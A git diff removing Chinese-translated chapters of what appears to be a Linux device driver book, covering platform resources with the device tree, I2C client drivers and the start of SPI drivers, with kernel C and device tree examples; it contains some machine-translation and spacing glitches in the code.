.driver_data = (unsigned long)&sdma_imx6q, - }, { - .name = "imx7d-sdma", - .driver_data = (unsigned long)&sdma_imx7d, - }, { - /* sentinel */ - } -}; -MODULE_DEVICE_TABLE(platform, sdma_devtypes); -``` - -我们对搭配风格也是如此: - -```sh -static const struct of_device_idsdma_dt_ids[] = { - { .compatible = "fsl,imx6q-sdma", .data = &sdma_imx6q, }, - { .compatible = "fsl,imx53-sdma", .data = &sdma_imx53, }, - { .compatible = "fsl,imx51-sdma", .data = &sdma_imx51, }, - { .compatible = "fsl,imx7d-sdma", .data = &sdma_imx7d, }, - { /* sentinel */ } -}; -MODULE_DEVICE_TABLE(of, sdma_dt_ids); -``` - -`probe`功能如下: - -```sh -static int sdma_probe(structplatform_device *pdev) -{ -conststructof_device_id *of_id = -of_match_device(of_match_ptr(sdma_dt_ids), &pdev->dev); -structdevice_node *np = pdev->dev.of_node; - - /* If devicetree, */ - if (of_id) -drvdata = of_id->data; - /* else, hard-coded */ - else if (pdev->id_entry) -drvdata = (void *)pdev->id_entry->driver_data; - - if (!drvdata) { -dev_err(&pdev->dev, "unable to find driver data\n"); - return -EINVAL; - } - [...] -} -``` - -然后我们声明我们的平台驱动;馈送前面部分中定义的所有数组: - -```sh -static struct platform_driversdma_driver = { - .driver = { - .name = "imx-sdma", - .of_match_table = of_match_ptr(sdma_dt_ids), - }, - .id_table = sdma_devtypes, - .remove = sdma_remove, - .probe = sdma_probe, -}; -module_platform_driver(sdma_driver); -``` - -# 平台资源和 DT - -平台设备可以与启用设备树的系统一起工作,无需任何额外的修改。这就是我们在*处理资源*一节所展示的。通过使用`platform_xxx`族函数,核心还遍历 DT(带有`of_xxx`族函数)来查找请求的资源。反之则不然,因为`of_xxx`家族功能只为 DT 保留。所有的资源数据都可以以通常的方式提供给驱动。驱动现在知道这个设备是否没有用板文件中的硬编码参数初始化。让我们以 uart 设备节点为例: - -```sh -uart1: serial@02020000 { - compatible = "fsl,imx6q-uart", "fsl,imx21-uart"; -reg = <0x02020000 0x4000>; - interrupts = <0 26 IRQ_TYPE_LEVEL_HIGH>; -dmas = <&sdma 25 4 0>, <&sdma 26 4 0>; -dma-names = "rx", "tx"; -}; -``` - -以下摘录描述了其驱动的`probe`功能。在`probe`中,函数`platform_get_resource()`可用于提取任何资源属性(内存区域、dma、irq),或者特定函数,如`platform_get_irq()`,提取 DT 中`interrupts`属性提供的`irq`: - -```sh -static int my_probe(struct platform_device *pdev) -{ -struct iio_dev *indio_dev; -struct resource *mem, *dma_res; -struct xadc *xadc; -int irq, ret, dmareq; - - /* irq */ -irq = platform_get_irq(pdev, 0); - if (irq<= 0) - return -ENXIO; - [...] - - /* memory region */ -mem = platform_get_resource(pdev, IORESOURCE_MEM, 0); -xadc->base = devm_ioremap_resource(&pdev->dev, mem); - /* - * We could have used - * devm_ioremap(&pdev->dev, mem->start, resource_size(mem)); - * too. - */ - if (IS_ERR(xadc->base)) - return PTR_ERR(xadc->base); - [...] - - /* second dma channel */ -dma_res = platform_get_resource(pdev, IORESOURCE_DMA, 1); -dmareq = dma_res->start; - - [...] -} -``` - -综上所述,对于`dma`、`irq`、`mem`等属性,在平台驱动中与`dtb`匹配无关。如果你记得,这些数据和你可以作为平台资源传递的数据属于同一类型。为了理解为什么,我们只需要看看这些函数的内部;我们将看到他们每个人如何在内部处理 DT 函数。以下是`platform_get_irq`功能的示例: - -```sh -int platform_get_irq(struct platform_device *dev, unsigned int num) -{ - [...] - struct resource *r; - if (IS_ENABLED(CONFIG_OF_IRQ) &&dev->dev.of_node) { - int ret; - - ret = of_irq_get(dev->dev.of_node, num); - if (ret > 0 || ret == -EPROBE_DEFER) - return ret; - } - - r = platform_get_resource(dev, IORESOURCE_IRQ, num); - if (r && r->flags & IORESOURCE_BITS) { - struct irq_data *irqd; - irqd = irq_get_irq_data(r->start); - if (!irqd) - return -ENXIO; - irqd_set_trigger_type(irqd, r->flags & IORESOURCE_BITS); - } - return r ? r->start : -ENXIO; -} -``` - -人们可能想知道`platform_xxx`函数是如何从 DT 中提取资源的。这应该是`of_xxx`功能家族。你是对的,但是在系统引导期间,内核在每个设备节点上调用`of_platform_device_create_pdata()`,这将导致创建一个带有相关资源的平台设备,在这个平台设备上你可以调用`platform_xxx`系列函数。其原型如下: - -```sh -static struct platform_device *of_platform_device_create_pdata( - struct device_node *np, const char *bus_id, - void *platform_data, struct device *parent) -``` - -# 平台数据与 DT - -如果你的司机需要平台数据,你应该检查`dev.platform_data`指针。非空值意味着您的驱动已经以旧的方式在板配置文件中被实例化,并且 DT 没有进入其中。对于从 DT 实例化的驱动,`dev.platform_data`将是`NULL`,您的平台设备将在`dev.of_node`指针中对应于您的设备的 DT 条目(节点)上获得一个指针,从中可以提取资源并使用 OF API 来解析和提取应用数据。 - -There's also a hybrid method that one can use to associate platform data declared in the C files to DT nodes, but that's for special cases only: for DMA, IRQ, and memory. This method is used only when the driver expects only resources, and no application-specific data. - -可以将 I2C 控制器的传统声明转换为 DT 兼容节点,如下所示: - -```sh -#define SIRFSOC_I2C0MOD_PA_BASE 0xcc0e0000 -#define SIRFSOC_I2C0MOD_SIZE 0x10000 -#define IRQ_I2C0 -static struct resource sirfsoc_i2c0_resource[] = { - { - .start = SIRFSOC_I2C0MOD_PA_BASE, - .end = SIRFSOC_I2C0MOD_PA_BASE + SIRFSOC_I2C0MOD_SIZE - 1, - .flags = IORESOURCE_MEM, - },{ - .start = IRQ_I2C0, - .end = IRQ_I2C0, - .flags = IORESOURCE_IRQ, - }, -}; -``` - -而 DT 节点: - -```sh -i2c0: i2c@cc0e0000 { - compatible = "sirf,marco-i2c"; - reg = <0xcc0e0000 0x10000>; - interrupt-parent = <&phandle_to_interrupt_controller_node> - interrupts = <0 24 0>; - #address-cells = <1>; - #size-cells = <0>; - status = "disabled"; -}; -``` - -# 摘要 - -从硬编码设备配置切换到 DT 的时候到了。本章为您提供了处理 DTs 所需的一切。现在,您已经具备了必要的技能,可以自定义或添加任何您想要的节点和属性到 DT 中,并从您的驱动中提取它们。在下一章中,我们将讨论 I2C 驱动,并使用 DT API 来枚举和配置我们的 I2C 设备。 \ No newline at end of file diff --git a/docs/linux-device-driver-dev/07.md b/docs/linux-device-driver-dev/07.md deleted file mode 100644 index 6f73e0d8..00000000 --- a/docs/linux-device-driver-dev/07.md +++ /dev/null @@ -1,475 +0,0 @@ -# 七、I2C 客户驱动 - -飞利浦(现恩智浦)发明的 I2C 总线是双线:**串行数据**(**SDA**)**串行时钟** ( **SCL** )异步串行总线。这是一个多主总线,虽然多主模式没有广泛使用。SDA 和 SCL 都是开漏/集电极开路,这意味着它们都可以将其输出驱动为低电平,但如果没有上拉电阻,它们都不能将其输出驱动为高电平。SCL 由主机生成,以便同步总线上的数据(由 SDA 承载)传输。从机和主机都可以发送数据(当然不是同时发送),从而使 SDA 成为双向线路。也就是说,SCL 信号也是双向的,因为从机可以通过保持 SCL 线为低电平来延长时钟。总线由主控器控制,在我们的例子中,主控器是 SoC 的一部分。该总线常用于嵌入式系统中连接串行 EEPROM、RTC 芯片、GPIO 扩展器、温度传感器等: - -![](img/00013.gif) - -I2C bus and devices - -时钟速度从 10 千赫到 100 千赫不等,从 400 千赫到 2 兆赫不等。在这本书里,我们将不涉及总线规范或总线驱动。然而,管理总线和处理规范是由总线驱动决定的。在内核源代码中的`drivers/i2C/busses/i2c-imx.c`处可以找到 i.MX6 芯片的总线驱动示例,在[http://www.nxp.com/documents/user_manual/UM10204.pdf](http://www.nxp.com/documents/user_manual/UM10204.pdf)处可以找到 I2C 规范。 - -在本章中,我们对客户端驱动感兴趣,以便处理总线上的从属设备。本章将涵盖以下主题: - -* I2C 客户端驱动架构 -* 访问设备,从而从设备读取数据/向设备写入数据 -* 从 DT 声明客户端 - -# 驱动架构 - -当您为其编写驱动的设备在名为*总线控制器*的物理总线上就座时,它必须依赖名为*控制器驱动*的总线驱动,该驱动负责在设备之间共享总线访问。控制器驱动在设备和总线之间提供了一个抽象层。例如,每当您在 I2C 或通用串行总线上执行事务(读或写)时,I2C/通用串行总线控制器都会在后台透明地处理该事务。每个总线控制器驱动都会导出一组函数,以简化总线上设备驱动的开发。这适用于所有物理总线(I2C、SPI、USB、PCI、SDIO 等)。 - -I2C 驱动在内核中被表示为`struct i2c_driver`的一个实例。I2C 客户端(代表设备本身)由`struct i2c_client`结构表示。 - -# i2c _ 驱动结构 - -I2C 驱动在内核中被声明为`struct i2c_driver,`的一个实例,如下所示: - -```sh -struct i2c_driver { - /* Standard driver model interfaces */ -int (*probe)(struct i2c_client *, const struct i2c_device_id *); -int (*remove)(struct i2c_client *); - - /* driver model interfaces that don't relate to enumeration */ - void (*shutdown)(struct i2c_client *); - -struct device_driver driver; -const struct i2c_device_id *id_table; -}; -``` - -`struct i2c_driver`结构包含并描述了一般的访问例程,这些例程是处理需要驱动的设备所需要的,而`struct i2c_client`包含设备特定的信息,比如它的地址。一个`struct i2c_client`结构代表并描述了一个 I2C 装置。在本章的后面,我们将看到如何填充这些结构。 - -# 探头()功能 - -`probe()`功能是`struct i2c_driver`结构的一部分,一旦 I2C 设备被实例化,该功能就会随时执行。它负责以下任务: - -* 检查设备是否是您期望的设备 -* 使用`i2c_check_functionality`功能检查 SoC 的 I2C 总线控制器是否支持设备所需的功能 -* 初始化设备 -* 设置设备特定数据 -* 注册适当的内核框架 - -`probe`功能的原型如下: - -```sh -static int foo_probe(struct i2c_client *client, const struct - i2c_device_id *id) -``` - -如您所见,它的参数是: - -* `struct i2c_client`指针:这代表 I2C 设备本身。这个结构继承自结构设备,由内核提供给你的`probe`函数。客户结构在`include/linux/i2c.h`中定义。其定义如下: - -```sh -struct i2c_client { - unsigned short flags; /* div., see below */ - unsigned short addr; /* chip address - NOTE: 7bit */ - /* addresses are stored in the */ - /* _LOWER_ 7 bits */ - char name[I2C_NAME_SIZE]; - struct i2c_adapter *adapter; /* the adapter we sit on */ - struct device dev; /* the device structure */ - intirq; /* irq issued by device */ - struct list_head detected; - #if IS_ENABLED(CONFIG_I2C_SLAVE) - i2c_slave_cb_t slave_cb; /* callback for slave mode */ - #endif -}; -``` - -* 所有字段都由内核根据您为注册客户端提供的参数来填充。稍后我们将看到如何向内核注册设备。 -* `struct i2c_device_id`指针:指向与被探测设备匹配的 I2C 设备标识条目。 - -# 每个设备的数据 - -I2C 内核为您提供了将指向您选择的任何数据结构的指针存储为设备特定数据的可能性。要存储或检索数据,请使用 I2C 核心提供的以下功能: - -```sh -/* set the data */ -void i2c_set_clientdata(struct i2c_client *client, void *data); - -/* get the data */ -void *i2c_get_clientdata(const struct i2c_client *client); -``` - -这些函数在内部调用`dev_set_drvdata`和`dev_get_drvdata`来更新或获取`struct i2c_client`结构中`struct device`子结构的`void *driver_data`字段的值。 - -这是一个如何使用额外客户端数据的示例;`drivers/gpio/gpio-mc9s08dz60.c:`节选 - -```sh -/* This is the device specific data structure */ -struct mc9s08dz60 { - struct i2c_client *client; - struct gpio_chip chip; -}; - -static int mc9s08dz60_probe(struct i2c_client *client, -const struct i2c_device_id *id) -{ - struct mc9s08dz60 *mc9s; - if (!i2c_check_functionality(client->adapter, - I2C_FUNC_SMBUS_BYTE_DATA)) - return -EIO; - mc9s = devm_kzalloc(&client->dev, sizeof(*mc9s), GFP_KERNEL); - if (!mc9s) - return -ENOMEM; - - [...] - mc9s->client = client; - i2c_set_clientdata(client, mc9s); - - return gpiochip_add(&mc9s->chip); -} -``` - -实际上,这些功能并不真正针对 I2C。他们除了获取/设置`struct device`成员的`void *driver_data`指针,本身就是`struct i2c_client`的成员之外什么都不做。事实上,我们可以直接使用`dev_get_drvdata`和`dev_set_drvdata`。在`linux/include/linux/i2c.h`中可以看到它们的定义。 - -# 移除()函数 - -`remove`功能的原型如下: - -```sh -static int foo_remove(struct i2c_client *client) -``` - -`remove()`功能也提供了与`probe()`功能相同的`struct i2c_client*`,所以你可以检索你的私人数据。例如,根据您在`probe`功能中设置的私人数据,您可能需要进行一些清洁或任何其他工作: - -```sh -static int mc9s08dz60_remove(struct i2c_client *client) -{ - struct mc9s08dz60 *mc9s; - - /* We retrieve our private data */ - mc9s = i2c_get_clientdata(client); - - /* Wich hold gpiochip we want to work on */ - return gpiochip_remove(&mc9s->chip); -} -``` - -`remove`功能负责从我们在`probe()`功能中注册的子系统中注销我们。在前面的例子中,我们只是从内核中移除`gpiochip`。 - -# 驱动初始化和注册 - -当一个模块被加载时,可能需要进行一些初始化。大多数时候,只需向 I2C 核心注册驱动就足够了。与此同时,当模块卸载时,我们通常只需要从 I2C 堆芯中出来。在[第 5 章](05.html#4B7I40-dbde2ca892a6480b9727afb6a9c9e924)、*平台设备驱动*中,我们看到用 init/exit 函数来打扰自己是不值得的,而应该用`module_*_driver`函数来代替。在这种情况下,要使用的函数是: - -```sh -module_i2c_driver(foo_driver); -``` - -# 驱动和设备供应 - -正如我们在匹配机制中看到的,我们需要提供一个`device_id`数组,以便公开我们的驱动可以管理的设备。既然我们谈论的是 I2C 设备,结构应该是`i2c_device_id`。该阵列将通知内核我们感兴趣的设备,即驱动。 - -现在回到我们的 I2C 设备驱动;在`include/linux/mod_devicetable.h`中看一看,你会看到`struct i2c_device_id`是如何定义的: - -```sh -struct i2c_device_id { - char name[I2C_NAME_SIZE]; - kernel_ulong_tdriver_data; /* Data private to the driver */ -}; -``` - -也就是说,`struct i2c_device_id`必须嵌入一个`struct i2c_driver`。为了让 I2C 核心(用于模块自动加载)知道我们需要处理的设备,我们必须使用`MODULE_DEVICE_TABLE`宏。内核必须知道每当匹配发生时调用哪个`probe`或`remove`函数,这就是为什么我们的`probe`和`remove`函数也必须嵌入到相同的`i2c_driver`结构中: - -```sh -static struct i2c_device_id foo_idtable[] = { - { "foo", my_id_for_foo }, - { "bar", my_id_for_bar }, - { } -}; - -MODULE_DEVICE_TABLE(i2c, foo_idtable); - -static struct i2c_driver foo_driver = { - .driver = { - .name = "foo", - }, - - .id_table = foo_idtable, - .probe = foo_probe, - .remove = foo_remove, -} -``` - -# 访问客户端 - -串行总线事务只是访问寄存器以设置/获取其内容的问题。I2C 尊重这一原则。I2C 核心提供了两种应用编程接口,一种用于普通 I2C 通信,另一种用于 SMBUS 兼容设备,也适用于 I2C 设备,但不是相反。 - -# 普通 I2C 通信 - -以下是与 I2C 设备通话时通常要处理的基本功能: - -```sh -int i2c_master_send(struct i2c_client *client, const char *buf, int count); -int i2c_master_recv(struct i2c_client *client, char *buf, int count); -``` - -几乎所有的 I2C 通信功能都以一个`struct i2c_client`作为第一参数。第二个参数包含要读取或写入的字节,第三个参数表示要读取或写入的字节数。像任何读/写函数一样,返回值是正在读/写的字节数。还可以通过以下方式处理消息传输: - -```sh -int i2c_transfer(struct i2c_adapter *adap, struct i2c_msg *msg, - int num); -``` - -`i2c_transfer`发送一组消息,每个消息可以是读操作或写操作,并且可以以任何方式混合。请记住,每个事务之间没有停止位。查看`include/uapi/linux/i2c.h`,消息结构如下: - -```sh -struct i2c_msg { - __u16 addr; /* slave address */ - __u16 flags; /* Message flags */ - __u16 len; /* msg length */ - __u8 *buf; /* pointer to msg data */ -}; -``` - -`i2c_msg`结构描述并表征了 I2C 信息。对于每条消息,它必须包含客户端地址、消息的字节数和消息有效负载。 - -`msg.len` is a `u16`. It means you must always be less than 216 (64k) with your read/write buffers. - -让我们来看看微芯片 I2C 24ls 512 EEPROM 字符驱动的`read`功能;我们应该理解事情是如何运作的。这本书的源代码提供了完整的代码。 - -```sh -ssize_t -eep_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos) -{ - [...] - int _reg_addr = dev->current_pointer; - u8 reg_addr[2]; - reg_addr[0] = (u8)(_reg_addr>> 8); - reg_addr[1] = (u8)(_reg_addr& 0xFF); - - struct i2c_msg msg[2]; - msg[0].addr = dev->client->addr; - msg[0].flags = 0; /* Write */ - msg[0].len = 2; /* Address is 2bytes coded */ - msg[0].buf = reg_addr; - - msg[1].addr = dev->client->addr; - msg[1].flags = I2C_M_RD; /* We need to read */ - msg[1].len = count; - msg[1].buf = dev->data; - - if (i2c_transfer(dev->client->adapter, msg, 2) < 0) - pr_err("ee24lc512: i2c_transfer failed\n"); - - if (copy_to_user(buf, dev->data, count) != 0) { - retval = -EIO; - goto end_read; - } - [...] -} -``` - -对于读事务,应该是`I2C_M_RD`,对于写事务,应该是`0`。有时候,你可能不想创建`struct i2c_msg`而只是处理简单的读写。 - -# 系统管理总线兼容功能 - -SMBus 是英特尔开发的双线总线,与 I2C 非常相似。I2C 设备与 SMBus 兼容,但不是相反。因此,如果对正在为其编写驱动的芯片有疑问,最好使用 SMBus 功能。 - -下面显示了一些 SMBus 应用编程接口: - -```sh - s32 i2c_smbus_read_byte_data(struct i2c_client *client, u8 command); - s32 i2c_smbus_write_byte_data(struct i2c_client *client, - u8 command, u8 value); - s32 i2c_smbus_read_word_data(struct i2c_client *client, u8 command); - s32 i2c_smbus_write_word_data(struct i2c_client *client, - u8 command, u16 value); - s32 i2c_smbus_read_block_data(struct i2c_client *client, - u8 command, u8 *values); - s32 i2c_smbus_write_block_data(struct i2c_client *client, - u8 command, u8 length, const u8 *values); -``` - -查看内核源码中的`include/linux/i2c.h`和`drivers/i2c/i2c-core.c`获得更多解释。 - -以下示例显示了 I2C gpio 扩展器中的简单读/写操作: - -```sh -struct mcp23016 { - struct i2c_client *client; - structgpio_chip chip; - structmutex lock; -}; -[...] -/* This function is called when one needs to change a gpio state */ -static int mcp23016_set(struct mcp23016 *mcp, - unsigned offset, intval) -{ - s32 value; - unsigned bank = offset / 8 ; - u8 reg_gpio = (bank == 0) ? GP0 : GP1; - unsigned bit = offset % 8 ; - - value = i2c_smbus_read_byte_data(mcp->client, reg_gpio); - if (value >= 0) { - if (val) - value |= 1 << bit; - else - value &= ~(1 << bit); - return i2c_smbus_write_byte_data(mcp->client, - reg_gpio, value); - } else - return value; -} -[...] -``` - -# 在主板配置文件中实例化 I2C 设备(旧的折旧方式) - -我们必须通知内核系统上物理存在哪些设备。有两种方法可以实现这一点。在 DT 中,正如我们将在本章后面看到的,或者通过板配置文件(这是旧的和折旧的方式)。让我们看看如何在电路板配置文件中做到这一点: - -`struct i2c_board_info`是用于表示我们板上的 I2C 设备的结构。结构定义如下: - -```sh -struct i2c_board_info { - char type[I2C_NAME_SIZE]; - unsigned short addr; - void *platform_data; - int irq; -}; -``` - -同样,与我们无关的元素已经从结构中移除。 - -在前面的结构中,`type`应该包含与设备驱动在`i2c_driver.driver.name`字段中定义的值相同的值。然后,您需要填充一个`i2c_board_info`数组,并将其作为参数传递给电路板初始化例程中的`i2c_register_board_info`函数: - -```sh -int i2c_register_board_info(int busnum, struct i2c_board_info const *info, unsigned len) -``` - -这里,`busnum`是设备所在的总线号。这是一种古老的折旧方法,所以我在这本书里不再赘述。请随意查看内核源代码中的*文档/I2C/实例化设备*,看看事情是如何进行的。 - -# I2C 和设备树 - -正如我们在前面几节中看到的,为了配置 I2C 设备,基本上有两个步骤: - -* 定义并注册 I2C 驱动 -* 定义和注册 I2C 设备 - -I2C 设备属于 DT 中的非内存映射设备家族,而 I2C 总线是可寻址总线(通过可寻址,我的意思是您可以寻址总线上的特定设备)。在这种情况下,设备节点中的`reg`属性表示总线上的设备地址。 - -I2C 设备节点都是它们所在的总线节点的子节点。每个设备只分配一个地址。不涉及长度或范围。需要为 I2C 设备声明的标准属性是`reg`,表示设备在总线上的地址,以及`compatible`字符串,用于将设备与驱动匹配。关于寻址的更多信息,可以参考[第六章](06.html#4QFR40-dbde2ca892a6480b9727afb6a9c9e924)、*设备树概念*。 - -```sh -&i2c2 { /* Phandle of the bus node */ - pcf8523: rtc@68 { - compatible = "nxp,pcf8523"; - reg = <0x68>; - }; - eeprom: ee24lc512@55 { /* eeprom device */ - compatible = "packt,ee24lc512"; - reg = <0x55>; - }; -}; -``` - -前面的示例声明了位于 SoC 的 I2C 2 号总线上的地址 0x50 处的 HDMI EDID 芯片,以及位于同一总线上的地址 0x68 处的**实时时钟** ( **RTC** )。 - -# 定义和注册 I2C 驱动 - -到目前为止,我们所看到的并没有改变。我们额外需要的是定义一个`struct of_device_id`。`Struct of_device_id`定义为匹配`.dts`文件中的相应节点: - -```sh -/* no extra data for this device */ -static const struct of_device_id foobar_of_match[] = { - { .compatible = "packtpub,foobar-device" }, - {} -}; -MODULE_DEVICE_TABLE(of, foobar_of_match); -``` - -现在我们定义`i2c_driver`如下: - -```sh -static struct i2c_driver foo_driver = { - .driver = { - .name = "foo", - .of_match_table = of_match_ptr(foobar_of_match), /* Only this line is added */ - }, - .probe = foo_probe, - .id_table = foo_id, -}; -``` - -然后可以这样改进`probe`功能: - -```sh -static int my_probe(struct i2c_client *client, const struct i2c_device_id *id) -{ - const struct of_device_id *match; - match = of_match_device(mcp23s08_i2c_of_match, &client->dev); - if (match) { - /* Device tree code goes here */ - } else { - /* - * Platform data code comes here. - * One can use - * pdata = dev_get_platdata(&client->dev); - * - * or *id*, which is a pointer on the *i2c_device_id* entry that originated - * the match, in order to use *id->driver_data* to extract the device - * specific data, as described in platform driver chapter. - */ - } - [...] -} -``` - -# 注意 - -对于早于 4.10 的内核版本,如果查看`drivers/i2c/i2c-core.c`,在`i2c_device_probe()`函数中(有关信息,它是内核每次将 I2C 设备注册到 I2C 内核时调用的函数),您会看到类似以下内容: - -```sh - if (!driver->probe || !driver->id_table) - return -ENODEV; -``` - -这意味着即使不需要使用`.id_table`,在驾驶员中也是强制性的。事实上,一个人只能使用 OF 匹配风格,但无法摆脱`.id_table`。内核开发人员试图消除对`.id_table`的需求,并专门使用`.of_match_table`进行设备匹配。该补丁可在以下网址获得:[https://git . kernel . org/cgit/Linux/kernel/git/Torvalds/Linux . git/commit/?id = c 80 f 52847 c 50109 ca 248 c 22 efbf 71 ff 10553 DCA 4](https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=c80f52847c50109ca248c22efbf71ff10553dca4)。 - -然而,已经发现了回归,并且提交被恢复。详情请看这里:[https://git . kernel . org/cgit/Linux/kernel/git/Torvalds/Linux . git/commit/?id = 661 F6 C1 CD 926 c6c 973 e 03 C6 b 5151d 161 F3 a 666 ed](https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=661f6c1cd926c6c973e03c6b5151d161f3a666ed)。这个问题在内核版本> = 4.10 后已经被修复。修复方法如下: - -```sh -/* - * An I2C ID table is not mandatory, if and only if, a suitable Device - * Tree match table entry is supplied for the probing device. - */ -if (!driver->id_table && - !i2c_of_match_device(dev->driver->of_match_table, client)) - return -ENODEV; -``` - -换句话说,您必须为 I2C 驱动定义`.id_table`和`.of_match_table`,否则您的设备将不会被探测到内核版本 4.10 或更早版本。 - -# 在设备树中实例化 I2C 设备——新方法 - -`struct i2c_client`是用来描述 I2C 装置的结构。然而,使用 OF 风格,这种结构不能在板文件中定义了。我们唯一需要做的就是在 DT 中提供设备的信息,内核将从中构建一个。 - -下面的代码展示了如何在一个`dts`文件中声明我们的 I2C `foobar`设备节点: - -```sh -&i2c3 { - status = "okay"; - foo-bar: foo@55 { - compatible = "packtpub,foobar-device"; -reg = <55>; - }; -}; -``` - -# 把它们放在一起 - -要总结编写 I2C 客户端驱动所需的步骤,您需要: - -1. 声明驱动支持的设备 id。你可以使用`i2c_device_id`来完成。如果支持 DT,也可以使用`of_device_id`。 -2. 拨打`MODULE_DEVICE_TABLE(i2c, my_id_table`向 I2C 核注册您的设备列表。如果支持设备树,您必须调用`MODULE_DEVICE_TABLE(of, your_of_match_table)`向 OF 核心注册您的设备列表。 -3. 根据各自的原型写出`probe`和`remove`函数。如果需要,也编写电源管理功能。`probe`功能必须识别您的设备,对其进行配置,定义每设备(私有)数据,并向适当的内核框架注册。驾驶员的行为取决于您在`probe`功能中做了什么。`remove`功能必须撤销您在`probe`功能中所做的一切(释放内存并从任何框架中注销)。 - -4. 声明并填充一个`struct i2c_driver`结构,并用您创建的 id 数组设置`id_table`字段。用上面写的相应函数的名称设置`.probe`和`.remove`字段。在。`driver`子结构,设置`.owner`字段为`THIS_MODULE`,设置驱动名称,最后设置`.of_match_table`字段,数组为`of_device_id`如果支持 DT。 -5. 用你刚刚在上面填充的`i2c_driver`结构调用`module_i2c_driver`函数:`module_i2c_driver(serial_eeprom_i2c_driver)`,以便向内核注册你的驱动。 - -# 摘要 - -我们刚刚处理了 I2C 设备驱动。是时候让你挑选市场上的任何 I2C 设备,并编写相应的驱动了,支持 DT。本章讨论了内核 I2C 核心和相关的应用编程接口,包括设备树支持,为您提供与 I2C 设备对话的必要技能。您应该能够编写高效的`probe`函数,并向内核 I2C 核注册。在下一章中,我们将使用我们在这里学到的技能来开发 SPI 设备驱动。 \ No newline at end of file diff --git a/docs/linux-device-driver-dev/08.md b/docs/linux-device-driver-dev/08.md deleted file mode 100644 index 3630dafb..00000000 --- a/docs/linux-device-driver-dev/08.md +++ /dev/null @@ -1,779 +0,0 @@ -# 八、串行接口设备驱动 - -**串行外设接口** ( **SPI** )为(至少)四线总线- **主输入从输出** ( **MISO** )、**主输出从输入** ( **MOSI** )、**串行时钟** ( **SCK** )和**芯片选择** ( **CS** ),用于连接串行闪存主机总是产生时钟。它的速度可以达到 80 兆赫,即使没有真正的速度限制(也比 I2C 快得多)。CS 线路也是如此,它始终由主机管理。 - -每个信号名称都有一个同义词: - -* 每当你看到 SIMO、SDI、DI 或 SDA,它们都指的是 MOSI。 -* SOMI、SDO、DO、SDA 将引用 MISO。 -* SCK、CLK、SCL 会提到 SCK。 -* S̅ S̅是从选择线,也称为 CS。也可以使用 CSx(其中 x 是索引,CS0,CS1),EN 和 ENB,表示启用。CS 通常是一个低电平有效信号: - -![](img/00014.jpeg) - -SPI topology (image from wikipedia) - -本章将介绍 SPI 驱动的概念,例如: - -* SPI 总线说明 -* 驱动架构和数据结构描述 -* 半双工和全双工数据发送和接收 -* 从 DT 声明 SPI 设备 -* 以半双工和全双工方式从用户空间访问 SPI 设备 - -# 驱动架构 - -Linux 内核中 SPI 素材所需的头文件是``。在讨论驱动结构之前,让我们看看 SPI 设备是如何在内核中定义的。SPI 设备在内核中表示为`spi_device`的一个实例。管理它们的驱动的例子是`struct spi_driver`结构。 - -# 设备结构 - -`struct spi_device`结构代表一个 SPI 设备,在`include/linux/spi/spi.h`中定义: - -```sh -struct spi_device { - struct devicedev; - struct spi_master*master; - u32 max_speed_hz; - u8 chip_select; - u8 bits_per_word; - u16 mode; - int irq; - [...] - int cs_gpio; /* chip select gpio */ -}; -``` - -一些对我们没有意义的字段被删除了。也就是说,以下是结构中元素的含义: - -* `master`:表示设备连接的 SPI 控制器(总线)。 -* `max_speed_hz`:这是该芯片要使用的最大时钟速率(在当前板上);该参数可以在驱动中更改。您可以在每次传输时使用`spi_transfer.speed_hz`覆盖该参数。稍后我们将讨论 SPI 传输。 -* `chip_select`:这可以让你启用需要通话的芯片,区分主控处理的芯片。`chip_select`默认为低电平有效。通过添加`SPI_CS_HIGH`标志,可以在模式中更改此行为。 -* `mode`:这定义了数据应该如何计时。设备驱动可能会对此进行更改。默认情况下,传输中每个字的数据时钟首先是**最高有效位** ( **MSB** )。可以通过指定`SPI_LSB_FIRST`来覆盖该行为。 -* `irq`:这表示中断号(在你的板`init`文件或通过 DT 注册为设备资源)你应该传递给`request_irq()`从这个设备接收中断。 - -关于 SPI 模式的一句话;它们有两个特点: - -* `CPOL`:这是初始时钟极性: - * `0`:初始时钟状态为低电平,第一个边沿上升 - * `1`:初始时钟状态高,第一个状态下降 -* `CPHA`:这是时钟相位,选择在哪个边沿采样数据: - * `0`:数据在下降沿锁存(从高电平到低电平转换),而输出在上升沿改变 - * `1`:数据在上升沿锁存(从低到高转换),并在下降沿输出 - -这允许四种 SPI 模式,这些模式根据`include/linux/spi/spi.h`中的以下宏在内核中定义: - -```sh -#define SPI_CPHA 0x01 -#define SPI_CPOL 0x02 -``` - -然后,您可以生成以下数组来总结事情: - -| **模式** | **CPOL** | **CPHA** | **内核宏** | -| Zero | Zero | Zero | `#define SPI_MODE_0 (0|0)` | -| one | Zero | one | `#define SPI_MODE_1 (0|SPI_CPHA)` | -| Two | one | Zero | `#define SPI_MODE_2 (SPI_CPOL|0)` | -| three | one | one | `#define SPI_MODE_3 (SPI_CPOL|SPI_CPHA)` | - -下面是前面数组中定义的每个 SPI 模式的表示。也就是说,只表示了 MOSI 线,但是 MISO 的原理是相同的: - -![](img/00015.jpeg) - -常用的模式有`SPI_MODE_0`和`SPI_MODE_3`。 - -# spi_driver 结构 - -`struct spi_driver`代表您为管理 SPI 设备而开发的驱动。其结构如下: - -```sh -struct spi_driver { - const struct spi_device_id *id_table; - int (*probe)(struct spi_device *spi); - int (*remove)(struct spi_device *spi); - void (*shutdown)(struct spi_device *spi); - struct device_driver driver; -}; -``` - -# 探头()功能 - -其原型如下: - -```sh -static int probe(struct spi_device *spi) -``` - -您可以参考[第 7 章](07.html#5K7QA0-dbde2ca892a6480b9727afb6a9c9e924)、 *I2C 客户端驱动*来了解在`probe`功能中要做什么。同样的步骤也适用于此。因此,与不能在运行时更改控制器总线参数(CS 状态、每个字的位、时钟)的 I2C 驱动不同,SPI 驱动可以。您可以根据设备属性设置总线。 - -典型的 SPI `probe`函数如下所示: - -```sh -static int my_probe(struct spi_device *spi) -{ - [...] /* declare your variable/structures */ - - /* bits_per_word cannot be configured in platform data */ - spi->mode = SPI_MODE_0; /* SPI mode */ - spi->max_speed_hz = 20000000; /* Max clock for the device */ - spi->bits_per_word = 16; /* device bit per word */ - ret = spi_setup(spi); - ret = spi_setup(spi); - if (ret < 0) - return ret; - - [...] /* Make some init */ - [...] /* Register with apropriate framework */ - - return ret; -} -``` - -`struct 